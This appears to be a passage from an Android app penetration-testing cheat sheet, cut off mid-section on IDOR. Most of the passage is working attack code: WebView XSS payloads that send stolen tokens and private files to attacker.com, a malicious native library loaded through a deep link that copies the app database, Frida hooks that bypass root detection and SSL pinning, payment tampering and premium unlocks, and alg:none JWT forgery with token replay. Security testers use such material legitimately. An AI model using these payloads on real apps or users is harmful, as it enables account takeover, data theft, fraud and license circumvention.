Legend:
[FRIDA]= Frida instrumentation |[ADB]= ADB technique |[WEBVIEW]= WebView exploitation |[TRAFFIC]= Network interception |[IDOR]= Insecure Direct Object Reference |[BYPASS]= Security bypass |[HOOK]= Runtime hooking |[TOKEN]= Authentication abuse
1. Enumerating Local Storage
What it means: Android apps store data in several locations on the device. Sensitive data left unencrypted in local storage is one of the most common high-severity findings — credentials, tokens, PII, session cookies are routinely found in plaintext SQLite databases and SharedPreferences files.
1.1 Storage Locations & Risks
Storage Location Path Risk
──────────────────────────────────────────────────────────────────────────────
SharedPreferences (XML) /data/data/
SQLite Databases /data/data/
Internal Files /data/data/
Cache /data/data/
External Storage (Public) /sdcard/ or /storage/emulated/0/ HIGH
External Storage (App-specific) /sdcard/Android/data/
Room Database /data/data/
DataStore (Jetpack) /data/data/
1.2 Enumerating via ADB
# ─── Root shell access ───
adb shell
su # switch to root
PKG="com.target.app"
# ─── SharedPreferences ───
ls -la /data/data/$PKG/shared_prefs/
cat /data/data/$PKG/shared_prefs/userdata.xml
cat /data/data/$PKG/shared_prefs/session.xml
cat /data/data/$PKG/shared_prefs/*.xml # read all prefs files
# Example finding:
# <?xml version='1.0' encoding='utf-8' standalone='yes' ?>
# <map>
# <string name="auth_token">eyJhbGciOi...</string> ← JWT token!
# <string name="password">admin@123</string> ← cleartext password!
# </map>
# ─── SQLite Databases ───
ls -la /data/data/$PKG/databases/
sqlite3 /data/data/$PKG/databases/app.db
> .tables # list all tables
> SELECT * FROM users; # dump users
> SELECT * FROM sessions; # dump session tokens
> SELECT * FROM messages; # dump private messages
> .dump # dump entire database
# Pull database to host for offline analysis
adb pull /data/data/$PKG/databases/app.db ./app.db
# Open with: DB Browser for SQLite (GUI)
# ─── Internal files ───
ls -la /data/data/$PKG/files/
cat /data/data/$PKG/files/config.json
cat /data/data/$PKG/files/token.txt
find /data/data/$PKG/ -name "*.json" -o -name "*.txt" -o -name "*.xml"
# ─── External storage ───
ls -la /sdcard/Android/data/$PKG/
ls -la /sdcard/ # any files saved here? world-readable!
find /sdcard/ -name "*.db" -o -name "*.xml" -o -name "*.json" 2>/dev/null
# ─── Backup (if allowBackup=true in manifest) ───
adb backup -noapk $PKG -f backup.ab
# Extract:
( printf "\x1f\x8b\x08\x00\x00\x00\x00\x00" ; tail -c +25 backup.ab ) | \
tar -xvz
1.3 What to Look For
Priority targets in local storage:
├── auth_token / session_token / jwt → replay for account takeover
├── password (cleartext) → credential reuse
├── username + password combined → direct login
├── credit_card / card_number → financial data
├── api_key / api_secret → backend API access
├── private_key / certificate → cryptographic material
├── PII (name, DOB, national_id, SSN) → privacy violation
└── encryption_key → decrypt other data
OWASP M9: Insecure Data Storage
→ SharedPreferences with MODE_WORLD_READABLE
→ Unencrypted SQLite databases
→ Cleartext files in external storage
→ Logs with sensitive data (see Section 3)
1.4 Automated Enumeration with Objection
# Attach objection
objection -g com.target.app explore
# Inside objection shell:
android filesystem ls /data/data/com.target.app/
android filesystem get /data/data/com.target.app/shared_prefs/userdata.xml
sqlite connect /data/data/com.target.app/databases/app.db
> .tables
> select * from users;
# Dump all SharedPreferences
android preferences get --all
# Enumerate keystore entries
android keystore list
2. Exported Activities — Exploitation
What it means: Activities marked exported="true" (or having an intent-filter
without android:autoVerify pre-API 31) can be launched by any app or ADB without
authentication — directly jumping to admin panels, bypassing login screens, or
accessing restricted views.
2.1 Finding Exported Activities
# ─── Static: grep AndroidManifest.xml ───
grep -A 3 "activity" decompiled/AndroidManifest.xml | grep "exported=\"true\""
# ─── Dynamic: ADB package dump ───
adb shell dumpsys package com.target.app | grep -A 5 "Activity"
# ─── Drozer ───
dz> run app.activity.info -a com.target.app # list all activities
dz> run app.activity.info -a com.target.app -u # unexported too
# ─── MobSF report ───
# Static analysis → Exported Activities section
2.2 Launching Exported Activities
# Direct launch (bypass login)
adb shell am start -n com.target.app/.AdminActivity
adb shell am start -n com.target.app/.SettingsActivity
adb shell am start -n com.target.app/com.target.app.ui.PremiumActivity
# With intent extras
adb shell am start -n com.target.app/.ProfileActivity \
--es "userId" "1" \
--es "role" "admin"
# With boolean flags
adb shell am start -n com.target.app/.DashboardActivity \
--ez "isAdmin" "true" \
--ez "isPremium" "true"
# With intent action
adb shell am start \
-a com.target.app.ACTION_VIEW_ADMIN \
-n com.target.app/.AdminActivity
# Using drozer
dz> run app.activity.start \
--component com.target.app com.target.app.AdminActivity \
--extra string role admin
2.3 Exploitation Scenarios
Scenario Activity to Target Impact
──────────────────────────────────────────────────────────────────────
Bypass login screen LoginActivity → MainAct Full account access
Access admin panel AdminActivity Privilege escalation
View other user's data ProfileActivity + userId IDOR
Reset password without verify PasswordResetActivity Account takeover
Access premium features PremiumActivity License bypass
Export user data DataExportActivity Data exfiltration
3. Insecure Logging
What it means: Log.d(), Log.v(), Log.e() write to Android's logcat — readable
by any app with READ_LOGS permission, and trivially accessible via ADB. Developers
frequently log sensitive data during development and forget to remove it in production
builds.
3.1 Reading Logcat
# ─── Capture all logs ───
adb logcat # all logs, all apps
adb logcat -v time # with timestamps
# ─── Filter by app ───
adb logcat | grep "com.target.app"
adb logcat --pid=$(adb shell pidof com.target.app)
# ─── Filter by tag ───
adb logcat -s "MyApp"
adb logcat -s "DEBUG"
adb logcat -s "AUTH"
# ─── Search for sensitive data in real-time ───
adb logcat | grep -iE "password|passwd|token|key|secret|auth|session|pin|otp"
adb logcat | grep -i "Bearer"
adb logcat | grep -i "Authorization:"
# ─── Save logs to file ───
adb logcat -d > full_logcat.txt # dump current buffer
adb logcat -v threadtime > capture.txt # continuous capture
# ─── Clear logcat buffer ───
adb logcat -c
# ─── Filter by log level ───
adb logcat *:E # errors only
adb logcat *:W # warnings+
adb logcat *:D # debug+ (most verbose — what you want)
adb logcat *:V # verbose (everything)
3.2 Common Sensitive Log Patterns
// Vulnerable logging patterns to look for:
// 1. Authentication credentials
Log.d("AUTH", "Login attempt - user: " + username + " pass: " + password);
Log.i("LoginActivity", "Token received: " + authToken);
// 2. API keys / secrets
Log.d("API", "Request with key: " + BuildConfig.API_KEY);
// 3. Session / JWT tokens
Log.v("Network", "Authorization header: Bearer " + jwtToken);
// 4. OTP / PIN codes
Log.d("OTP", "Generated OTP: " + otpCode); // OTP in logs!
Log.d("PIN", "User entered PIN: " + pin);
// 5. Payment info
Log.d("Payment", "Card: " + cardNumber + " CVV: " + cvv);
// 6. PII
Log.d("User", "Profile: " + user.getSSN() + " DOB: " + user.getDob());
// 7. Encryption keys
Log.d("Crypto", "AES key: " + Base64.encode(aesKey));
3.3 Finding Log Calls in Source Code
# In jadx decompiled output:
grep -rn "Log\.d\|Log\.v\|Log\.i\|Log\.e\|Log\.w" java_out/
grep -rn "Log\." java_out/ | grep -i "password\|token\|key\|auth"
# In smali:
grep -rn "android/util/Log" smali_out/smali/
grep -rn "\"password\"\|\"token\"\|\"key\"" smali_out/smali/
# Also check:
grep -rn "System\.out\.println\|printStackTrace" java_out/
grep -rn "Timber\." java_out/ # Timber logging library
grep -rn "Logger\." java_out/ # custom logger classes
4. Pending Intents — Exploitation
What it means: A PendingIntent wraps an Intent and gives it to another process to
execute later on your behalf. If created with an implicit base intent and FLAG_MUTABLE,
the receiving process can fill in the action and component — hijacking it to perform
unauthorized actions in your app's context.
4.1 Vulnerable PendingIntent Pattern
// VULNERABLE: Empty base intent + FLAG_MUTABLE
Intent base = new Intent(); // no action, no component!
PendingIntent pi = PendingIntent.getActivity(
context, 0, base,
PendingIntent.FLAG_MUTABLE // mutable = fillable!
);
// This PendingIntent is passed to:
// - Notification → notification listener app intercepts
// - AlarmManager → timing app intercepts
// - MediaSession → media app intercepts
// Intercepting app FILLS IN any action/component → executes as YOUR app!
4.2 Exploitation Approach
# 1. Identify PendingIntents in the app
grep -rn "PendingIntent\|FLAG_MUTABLE" java_out/
# 2. Find where PI is passed to external receivers
grep -rn "setContentIntent\|NotificationCompat\|AlarmManager\|registerReceiver" java_out/
# 3. Create malicious app that receives and modifies the PI
# 4. The modified PI executes with target app's permissions!
# Practical example — intercept notification PI:
# If app sends notification with mutable PI:
# → App with NOTIFICATION_LISTENER intercepts it
# → Modifies PI to target admin action
# → PI fires → admin action executed as target app!
4.3 Checking for Vulnerable PendingIntents
# jadx-gui search: FLAG_MUTABLE
Ctrl+Shift+F → "FLAG_MUTABLE"
# → identify if base intent is implicit (no setComponent/setPackage)
# Also check for FLAG_NO_CREATE (insecure reuse)
Ctrl+Shift+F → "FLAG_NO_CREATE"
# Secure pattern check:
# Should be: FLAG_IMMUTABLE
# Should have: explicit intent (setClass or setComponent)
5. Exploiting WebViews
What it means: WebViews are embedded browsers within apps. When misconfigured, they
allow XSS → JavaScript-to-Java bridge abuse → reading local files → full RCE within the
app's context. A single XSS in a WebView with addJavascriptInterface is equivalent to
arbitrary Java code execution.
5.1 WebView Attack Surface
WebView Vulnerability Map:
┌──────────────────────────────────────────────────────────────┐
│ Vulnerability Impact │
│ ─────────────────────────────────────────────────────────----│
│ JavaScript enabled XSS possible in loaded content │
│ addJavascriptInterface XSS → call Java methods (RCE!) │
│ setAllowFileAccess(true) Read app private files via XSS │
│ setAllowUniversalAccess Same-origin bypass → file read │
│ Loads URL from Intent Open redirect / URL injection │
│ Loads http:// (cleartext) MITM → inject XSS payload │
│ No SSL error handling Accept invalid certs → MITM │
└──────────────────────────────────────────────────────────────┘
5.2 Finding WebView Vulnerabilities
# ─── In jadx output ───
grep -rn "setJavaScriptEnabled\|addJavascriptInterface" java_out/
grep -rn "setAllowFileAccess\|setAllowUniversalAccess" java_out/
grep -rn "WebViewClient\|onReceivedSslError" java_out/
grep -rn "webView.loadUrl\|loadData\|loadDataWithBaseURL" java_out/
# ─── Check for URL loading from intent extras ───
grep -rn "getStringExtra.*url\|getStringExtra.*link" java_out/
# If: webView.loadUrl(getIntent().getStringExtra("url"))
# → Attacker controls loaded URL!
5.3 JavaScript Interface (JavascriptInterface) Exploit
// App code (vulnerable):
webView.addJavascriptInterface(new BridgeObject(this), "AndroidBridge");
class BridgeObject {
@JavascriptInterface
public String getToken() { return authToken; } // sensitive!
@JavascriptInterface
public void executeCommand(String cmd) { // DANGEROUS!
Runtime.getRuntime().exec(cmd);
}
@JavascriptInterface
public String readFile(String path) { // file read!
return new String(Files.readAllBytes(Paths.get(path)));
}
}
// XSS payload or malicious page loaded in WebView:
// Steal auth token:
var token = window.AndroidBridge.getToken();
fetch("https://attacker.com/?t=" + token);
// Execute command:
window.AndroidBridge.executeCommand("id > /sdcard/pwn.txt");
// Read private file:
var data = window.AndroidBridge.readFile(
"/data/data/com.target.app/shared_prefs/userdata.xml"
);
fetch("https://attacker.com/?d=" + btoa(data));
// Enumerate all methods on bridge object:
for (var key in window.AndroidBridge) {
console.log(key + ": " + typeof window.AndroidBridge[key]);
}
5.4 File Access via WebView XSS
// If setAllowFileAccessFromFileURLs = true:
// Load file:// URL → read private files!
// In XSS payload:
var xhr = new XMLHttpRequest();
xhr.open("GET", "file:///data/data/com.target.app/databases/main.db");
xhr.onload = function() {
fetch("http://attacker.com/?data=" + btoa(xhr.responseText));
};
xhr.send();
// Read SharedPreferences:
var xhr2 = new XMLHttpRequest();
xhr2.open("GET", "file:///data/data/com.target.app/shared_prefs/auth.xml");
xhr2.onload = function() { fetch("http://attacker.com/?d=" + btoa(xhr2.responseText)); };
xhr2.send();
5.5 WebView URL Injection via ADB
# If activity loads URL from intent extra:
adb shell am start -n com.target.app/.WebViewActivity \
-e url "javascript:alert(document.cookie)"
adb shell am start -n com.target.app/.WebViewActivity \
-e url "http://attacker.com/xss_payload.html"
adb shell am start -n com.target.app/.WebViewActivity \
-e url "file:///data/data/com.target.app/shared_prefs/userdata.xml"
# Test for open redirect:
adb shell am start -n com.target.app/.WebViewActivity \
-e url "https://phishing.com"
5.6 onReceivedSslError Bypass
// VULNERABLE: App accepts ALL SSL errors (allows MITM)
webView.setWebViewClient(new WebViewClient() {
@Override
public void onReceivedSslError(WebView view, SslErrorHandler handler, SslError error) {
handler.proceed(); // ← ACCEPT ALL ERRORS! NEVER do this!
}
});
// Exploitation: setup MITM (Burp Suite) →
// WebView ignores cert errors → traffic intercepted
6. Insecure Library Load via Deep Linking
What it means: Some apps accept file paths or library names via deep link parameters
and use them to dynamically load native libraries (System.loadLibrary() or
System.load()). An attacker who can supply a malicious .so path via a deep link
achieves native code execution within the app's process.
6.1 Vulnerable Pattern
// App handles deep link:
// myapp://load?lib=libnative
// myapp://plugin?path=/sdcard/plugin.so
Uri data = getIntent().getData();
String libPath = data.getQueryParameter("path");
// VULNERABLE — loads attacker-controlled library!
System.load(libPath); // absolute path
System.loadLibrary(data.getQueryParameter("lib")); // library name
6.2 Exploitation
# Step 1: Create malicious .so
cat > evil.c << 'EOF'
#include <jni.h>
#include <stdlib.h>
__attribute__((constructor))
void init() {
// Executes when library is loaded!
system("id > /sdcard/pwned.txt");
system("cp /data/data/com.target.app/databases/main.db /sdcard/stolen.db");
}
EOF
# Compile for ARM64
aarch64-linux-gnu-gcc evil.c -shared -fPIC -o evil.so
# Step 2: Push to readable location
adb push evil.so /sdcard/evil.so
# Step 3: Trigger deep link
adb shell am start -a android.intent.action.VIEW \
-d "myapp://plugin?path=/sdcard/evil.so"
# → library loaded → init() executes → shell commands run!
# Step 4: Verify
adb shell cat /sdcard/pwned.txt
7. Hooking Java Methods (Frida)
What it means: Frida's Java.use() allows you to intercept any Java method at
runtime — before it executes (.implementation), see arguments, modify return values,
and call the original. This is the most powerful Android pentesting technique — you can
bypass any check, log any value, and manipulate any behavior.
7.1 Frida Setup
# ─── Install Frida ───
pip3 install frida-tools frida
# ─── Push frida-server to device ───
# Download: https://github.com/frida/frida/releases
# Match version! frida-server-<ver>-android-arm64
adb push frida-server-16.x.x-android-arm64 /data/local/tmp/frida-server
adb shell chmod 755 /data/local/tmp/frida-server
adb shell /data/local/tmp/frida-server &
# ─── Verify ───
frida-ps -U # list processes on USB device
frida-ps -U | grep target # find your target app
# ─── Run script ───
frida -U -f com.target.app --no-pause -l script.js # spawn
frida -U -n com.target.app -l script.js # attach
7.2 Basic Java Hook Template
// script.js — basic Frida hook template
Java.perform(function() {
// Get a reference to the class
var AuthManager = Java.use("com.target.app.AuthManager");
// Hook a method
AuthManager.checkLogin.implementation = function(username, password) {
// Log arguments
console.log("[*] checkLogin called");
console.log(" username: " + username);
console.log(" password: " + password);
// Option 1: Call original and log result
var result = this.checkLogin(username, password);
console.log(" result: " + result);
return result;
// Option 2: Bypass — always return true
// return true;
// Option 3: Modify argument then call original
// return this.checkLogin(username, "newpassword");
};
});
7.3 Overloaded Methods
Java.perform(function() {
var Utils = Java.use("com.target.app.Utils");
// Method with multiple overloads — specify signature
Utils.encrypt.overload("java.lang.String").implementation = function(data) {
console.log("[ENCRYPT] Input: " + data);
var result = this.encrypt(data);
console.log("[ENCRYPT] Output: " + result);
return result;
};
// Two-param overload
Utils.encrypt.overload("java.lang.String", "java.lang.String").implementation =
function(data, key) {
console.log("[ENCRYPT] data=" + data + " key=" + key);
return this.encrypt(data, key);
};
// List all overloads
console.log(Utils.encrypt.overloads);
});
7.4 Hook Static Methods
Java.perform(function() {
var Config = Java.use("com.target.app.Config");
// Static method — same syntax, 'this' is the class
Config.getApiKey.implementation = function() {
var key = this.getApiKey();
console.log("[API KEY] " + key);
return key;
};
});
7.5 Hook Constructors
Java.perform(function() {
var HttpClient = Java.use("com.target.app.SecureHttpClient");
// Hook constructor
HttpClient.$init.overload("java.lang.String", "int").implementation =
function(host, port) {
console.log("[HTTP] Connecting to: " + host + ":" + port);
this.$init(host, port); // call original constructor
};
});
8. Altering Method Values (Frida)
What it means: Beyond just logging, Frida can modify arguments going INTO a method and values coming OUT. This enables authentication bypass, privilege escalation, license bypass, and forced conditions — all without touching the APK.
8.1 Modify Return Values
Java.perform(function() {
var Security = Java.use("com.target.app.SecurityManager");
// ─── Force isRooted() to return false ───
Security.isRooted.implementation = function() {
console.log("[BYPASS] isRooted() → forced false");
return false;
};
// ─── Force isPremium() to return true ───
var UserManager = Java.use("com.target.app.UserManager");
UserManager.isPremium.implementation = function() {
return true;
};
// ─── Force isLoggedIn() to return true ───
var SessionManager = Java.use("com.target.app.SessionManager");
SessionManager.isLoggedIn.implementation = function() {
return true;
};
// ─── Force integer return (score, coins) ───
var GameManager = Java.use("com.target.game.GameManager");
GameManager.getCoins.implementation = function() {
return 999999;
};
});
8.2 Modify Arguments
Java.perform(function() {
var Database = Java.use("com.target.app.Database");
// ─── Modify query parameter (SQLi equivalent) ───
Database.getUserById.implementation = function(userId) {
console.log("[DB] Original userId: " + userId);
// Force query for admin user (id=1)
return this.getUserById(1);
};
// ─── Modify payment amount ───
var PaymentService = Java.use("com.target.app.PaymentService");
PaymentService.processPayment.implementation = function(amount, currency) {
console.log("[PAYMENT] Original: " + amount + " " + currency);
return this.processPayment(0.01, currency); // pay $0.01!
};
// ─── Inject into String arguments ───
var ApiClient = Java.use("com.target.app.ApiClient");
ApiClient.makeRequest.implementation = function(endpoint, params) {
console.log("[API] endpoint=" + endpoint);
console.log("[API] params=" + params);
// Modify role parameter
params = params.replace("\"role\":\"user\"", "\"role\":\"admin\"");
return this.makeRequest(endpoint, params);
};
});
8.3 Read & Modify Object Fields
Java.perform(function() {
// ─── Hook to read private object field ───
var UserModel = Java.use("com.target.app.model.User");
UserModel.getProfile.implementation = function() {
// Read private field of 'this' object
var token = this.mAuthToken.value; // access private field!
var role = this.mRole.value;
console.log("[USER] token=" + token + " role=" + role);
// Modify field before method executes
this.mRole.value = "admin"; // escalate to admin!
return this.getProfile();
};
});
8.4 Enumerate All Methods at Runtime
Java.perform(function() {
// List all loaded classes matching pattern
Java.enumerateLoadedClasses({
onMatch: function(name) {
if (name.includes("com.target.app")) {
console.log("[CLASS] " + name);
}
},
onComplete: function() { console.log("[*] Enumeration done"); }
});
// List all methods of a class
var AuthManager = Java.use("com.target.app.AuthManager");
var methods = AuthManager.class.getDeclaredMethods();
methods.forEach(function(m) {
console.log("[METHOD] " + m.getName() + " → " + m.getReturnType());
});
});
9. Hooking Native Methods (Frida)
What it means: Native .so functions are hooked differently — using Interceptor.attach()
on a memory address or exported symbol. This lets you intercept cryptographic operations,
license checks, and anti-tamper logic that developers moved to native code specifically
to resist reverse engineering.
9.1 Hook by Exported Symbol Name
// Hook native function by its exported symbol name
var nativeDecrypt = Module.findExportByName("libnative.so", "Java_com_target_app_Crypto_decrypt");
Interceptor.attach(nativeDecrypt, {
onEnter: function(args) {
// args = JNIEnv*
// args = jclass/jobject (this)[1]
// args = first Java parameter (jstring)[2]
// args = second Java parameter...[3]
var env = Java.vm.getEnv();
// Read jstring argument
try {
var input = env.getStringUTFChars(args, null).readCString();[2]
console.log("[NATIVE decrypt] Input: " + input);
} catch(e) {
// Might be byte array, not string
console.log("[NATIVE decrypt] arg2 (raw): " + args);[2]
}
},
onLeave: function(retval) {
try {
var env = Java.vm.getEnv();
var result = env.getStringUTFChars(retval, null).readCString();
console.log("[NATIVE decrypt] Result: " + result);
} catch(e) {
console.log("[NATIVE decrypt] retval: " + retval);
}
}
});
9.2 Hook by Memory Address (from Ghidra)
// After finding function at offset 0x1234 in Ghidra:
var moduleBase = Module.findBaseAddress("libnative.so");
var funcAddr = moduleBase.add(0x1234); // base + offset
Interceptor.attach(funcAddr, {
onEnter: function(args) {
console.log("[*] Native function at 0x1234 called");
console.log(" arg0: " + args);
console.log(" arg1: " + args);[1]
// Read memory at pointer
try {
console.log(" arg0 (string): " + args.readCString());
} catch(e) {}
// Read bytes
console.log(" arg0 (hex): " + hexdump(args, { length: 32 }));
},
onLeave: function(retval) {
console.log("[*] Return: " + retval);
// Modify return value:
// retval.replace(ptr(1)); // force return 1
}
});
9.3 Hook All Functions in .so (Stalker)
// Trace all native calls in a module — find which functions are called
var libBase = Module.findBaseAddress("libnative.so");
var libSize = Process.findModuleByName("libnative.so").size;
// List all exports
Module.enumerateExports("libnative.so").forEach(function(exp) {
if (exp.type === "function") {
console.log("[EXPORT] " + exp.name + " @ " + exp.address);
Interceptor.attach(exp.address, {
onEnter: function(args) {
console.log("[CALL] " + exp.name);
}
});
}
});
9.4 Replace Native Function
// Completely replace native function with custom implementation
var isRootedNative = Module.findExportByName("libnative.so", "Java_com_target_app_Security_isRooted");
Interceptor.replace(isRootedNative, new NativeCallback(function(env, obj) {
console.log("[BYPASS] isRooted() replaced → returning 0 (false)");
return 0; // jboolean false
}, "int", ["pointer", "pointer"]));
// Signature: return type "int", params ["JNIEnv*", "jobject"]
10. Bypassing Detection Mechanisms (Frida)
What it means: Apps implement root detection, emulator detection, Frida detection, and debugger detection to resist analysis. Frida can hook all these checks at runtime and force them to return "safe" values — making the app think it's running on a clean, unmodified device.
10.1 Root Detection Bypass
Java.perform(function() {
// ─── Bypass RootBeer library ───
try {
var RootBeer = Java.use("com.scottyab.rootbeer.RootBeer");
RootBeer.isRooted.implementation = function() {
console.log("[BYPASS] RootBeer.isRooted() → false");
return false;
};
RootBeer.isRootedWithoutBusyBoxCheck.implementation = function() { return false; };
} catch(e) { console.log("[!] RootBeer not found"); }
// ─── Bypass File.exists() check for /su ───
var File = Java.use("java.io.File");
File.exists.implementation = function() {
var path = this.getAbsolutePath();
if (path.indexOf("su") !== -1 || path.indexOf("magisk") !== -1 ||
path.indexOf("superuser") !== -1) {
console.log("[BYPASS] File.exists() blocked for: " + path);
return false;
}
return this.exists();
};
// ─── Bypass PackageManager check for superuser apps ───
var PackageManager = Java.use("android.app.ApplicationPackageManager");
PackageManager.getPackageInfo.overload("java.lang.String", "int").implementation =
function(pkg, flags) {
var suspiciousPkgs = ["com.topjohnwu.magisk", "com.noshufou.android.su",
"eu.chainfire.supersu", "com.koushikdutta.superuser"];
if (suspiciousPkgs.indexOf(pkg) !== -1) {
console.log("[BYPASS] Blocked getPackageInfo for: " + pkg);
throw Java.use("android.content.pm.PackageManager$NameNotFoundException").$new(pkg);
}
return this.getPackageInfo(pkg, flags);
};
});
10.2 Frida Self-Detection Bypass
// Some apps detect Frida by checking:
// 1. /proc/self/maps for frida-agent
// 2. Port 27042 open (frida default)
// 3. Named pipe /tmp/frida-*
// 4. D-Bus connection
Java.perform(function() {
// Hook file read to hide frida-agent from /proc/self/maps
var BufferedReader = Java.use("java.io.BufferedReader");
BufferedReader.readLine.implementation = function() {
var line = this.readLine();
if (line !== null && (
line.indexOf("frida") !== -1 ||
line.indexOf("gum-js-loop") !== -1 ||
line.indexOf("linjector") !== -1
)) {
console.log("[BYPASS] Hiding frida from maps: " + line);
return this.readLine(); // skip the frida line
}
return line;
};
});
// Alternatively: use Frida with --no-pause and spawn gadget
// OR: use Frida Gadget embedded in patched APK (harder to detect)
10.3 SSL Pinning Bypass (Runtime)
// Universal SSL Pinning bypass — hooks multiple frameworks
Java.perform(function() {
// ─── OkHttp3 CertificatePinner ───
try {
var CertificatePinner = Java.use("okhttp3.CertificatePinner");
CertificatePinner.check.overload("java.lang.String", "java.util.List").implementation =
function(hostname, peerCertificates) {
console.log("[BYPASS] OkHttp SSL pin bypassed for: " + hostname);
// Just return — don't check!
};
} catch(e) {}
// ─── TrustManager — bypass all cert validation ───
try {
var X509TrustManager = Java.use("javax.net.ssl.X509TrustManager");
var SSLContext = Java.use("javax.net.ssl.SSLContext");
var TrustAll = Java.registerClass({
name: "com.bypass.TrustAll",
implements: [X509TrustManager],
methods: {
checkClientTrusted: function(chain, authType) {},
checkServerTrusted: function(chain, authType) {},
getAcceptedIssuers: function() { return []; }
}
});
var ctx = SSLContext.getInstance("TLS");
ctx.init(null, [TrustAll.$new()], null);
SSLContext.setDefault(ctx);
console.log("[BYPASS] TrustManager replaced");
} catch(e) { console.log("[!] TrustManager bypass failed: " + e); }
// ─── WebView SSL errors ───
try {
var SslErrorHandler = Java.use("android.webkit.SslErrorHandler");
SslErrorHandler.proceed.implementation = function() {
console.log("[BYPASS] WebView SSL error bypassed");
this.proceed();
};
} catch(e) {}
});
10.4 Objection One-Command Bypass
# Objection handles all common detections automatically
objection -g com.target.app explore
# Inside shell:
android root disable # bypass root detection
android sslpinning disable # bypass SSL pinning
android debugger disable # bypass debugger detection
# Verify bypass:
android root check # should now say "not rooted"
11. Authentication Token Manipulation
What it means: Mobile apps use JWT tokens, session cookies, or custom tokens for authentication. Frida can intercept these tokens at the moment they're created or used, allowing you to steal them, decode them, modify claims, and replay them to escalate privileges or take over accounts.
11.1 Intercepting JWT Tokens
Java.perform(function() {
// ─── Hook SharedPreferences read (token retrieval) ───
var SharedPreferencesImpl = Java.use("android.app.SharedPreferencesImpl");
SharedPreferencesImpl.getString.implementation = function(key, defValue) {
var value = this.getString(key, defValue);
if (key.toLowerCase().indexOf("token") !== -1 ||
key.toLowerCase().indexOf("auth") !== -1 ||
key.toLowerCase().indexOf("session") !== -1) {
console.log("[TOKEN] Key: " + key + " Value: " + value);
}
return value;
};
// ─── Hook OkHttp3 request building (intercept auth header) ───
try {
var Request = Java.use("okhttp3.Request$Builder");
Request.addHeader.implementation = function(name, value) {
if (name.toLowerCase() === "authorization") {
console.log("[AUTH HEADER] " + name + ": " + value);
}
return this.addHeader(name, value);
};
} catch(e) {}
});
11.2 Decode & Modify JWT
# ─── Decode captured JWT ───
# Format: header.payload.signature (base64url encoded)
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiIxMjMiLCJyb2xlIjoidXNlciJ9.SIGNATURE"
# Decode header
echo $TOKEN | cut -d'.' -f1 | base64 -d 2>/dev/null
# → {"alg":"HS256","typ":"JWT"}
# Decode payload
echo $TOKEN | cut -d'.' -f2 | base64 -d 2>/dev/null
# → {"userId":"123","role":"user"}
# ─── Modify payload (if weak secret or alg:none) ───
# Tool: jwt_tool
pip3 install jwt_tool
jwt_tool $TOKEN # decode
jwt_tool $TOKEN -T # tamper (interactive)
jwt_tool $TOKEN -X a # alg:none attack
jwt_tool $TOKEN -I -pc role -pv admin # change role to admin
jwt_tool $TOKEN -C -d wordlist.txt # crack secret
# ─── Python JWT manipulation ───
import base64, json
header = {"alg":"none","typ":"JWT"}
payload = {"userId":"1","role":"admin"} # escalated!
h = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b'=').decode()
p = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=').decode()
forged_token = f"{h}.{p}." # empty signature for alg:none
print(forged_token)
11.3 Token Replay via Frida
// Inject stolen token into outgoing requests
Java.perform(function() {
var STOLEN_TOKEN = "Bearer eyJhbGc...VICTIM_TOKEN";
var Request = Java.use("okhttp3.Request$Builder");
Request.build.implementation = function() {
// Add stolen auth header to every request
this.header("Authorization", STOLEN_TOKEN);
return this.build();
};
});
12. Intercepting API Calls
What it means: Routing app traffic through Burp Suite reveals all API endpoints, authentication mechanisms, and data flows. Every request/response is visible and modifiable — enabling you to test for IDOR, privilege escalation, broken auth, and injection attacks against the backend.
12.1 Burp Suite Setup for Android
# ─── Step 1: Configure Burp listener ───
# Burp → Proxy → Options → Add listener
# Bind: 0.0.0.0:8080 (all interfaces) or 10.0.2.2:8080 (emulator host)
# ─── Step 2: Install Burp CA cert on device ───
# Export: Proxy → Options → Import/Export CA Cert → Export in DER format
openssl x509 -inform DER -in burp_cert.der -out burp_cert.pem
HASH=$(openssl x509 -inform PEM -subject_hash_old -in burp_cert.pem | head -1)
cp burp_cert.pem ${HASH}.0
# System store (root required):
adb root && adb remount
adb push ${HASH}.0 /system/etc/security/cacerts/
adb shell chmod 644 /system/etc/security/cacerts/${HASH}.0
adb reboot
# ─── Step 3: Configure proxy on device ───
# AVD: Settings → WiFi → long press → Modify → Proxy Manual
# Host: 10.0.2.2 Port: 8080
# OR: use adb reverse for reverse proxy
adb reverse tcp:8080 tcp:8080
# Then set proxy on device to: 127.0.0.1:8080
# ─── Step 4: Verify interception ───
# Browse app → check Burp Proxy → Intercept tab
12.2 Intercepting API Traffic
# ─── What to look for in intercepted traffic ───
# 1. Authentication endpoints
POST /api/v1/login → capture username/password
POST /api/v1/token/refresh → capture refresh token
# 2. User data endpoints
GET /api/v1/users/123 → IDOR (change 123 to other IDs)
GET /api/v1/profile → sensitive PII
# 3. Admin endpoints (try with regular user token)
GET /api/v1/admin/users → broken access control
POST /api/v1/admin/config → privilege escalation
# 4. Direct object references
GET /api/v1/documents/456 → IDOR
GET /api/v1/invoices/789 → IDOR
# ─── Burp Repeater workflow ───
# Intercept request → Send to Repeater (Ctrl+R)
# Modify parameters → Send → analyze response
# ─── Burp Intruder (automated fuzzing) ───
# Capture request → Send to Intruder
# Mark injection point: §userId§
# Payload: numbers 1-1000
# → enumerate all user accounts!
12.3 API Response Modification
Burp Suite → Proxy → Intercept:
→ intercept response
→ modify JSON:
{"role":"user"} → {"role":"admin"}
{"isPremium":false} → {"isPremium":true}
{"balance":100} → {"balance":99999}
→ Forward modified response to app
→ App behaves as if server said "admin"!
13. IDOR Attack
What it means: IDOR (Insecure Direct Object Reference) occurs when an API uses a user-supplied ID (user ID, document ID, order ID) to access resources without verifying that the requesting user owns that resource. Changing the ID in a request accesses another user's data — one of the most common and critical API vulnerabilities.
13.1 Finding IDOR in Mobile APIs
Where to look for IDOR:
GET /api/users/{id} → change id → other user's profile
GET /api/orders/{orderId} → change orderId → other user's orders
GET /api/documents/{docId} → change docId → private documents
POST /api/messages/{userId} → change userId → send as/to another user
PUT /api/profile/{id} → change id → update another's profile
GET /api/invoice/{invoiceId} → change id → view others' invoices
ID types:
Sequential integers: 1, 2, 3... ← easiest to exploit
UUIDs: 550e8400-e29b-41d4-a716-... ← harder (need to discover)
Encoded: base64, hex ← decode → increment → re-encode
13.2 IDOR Exploitation Workflow
# ─── Step 1: Identify object reference in traffic ───
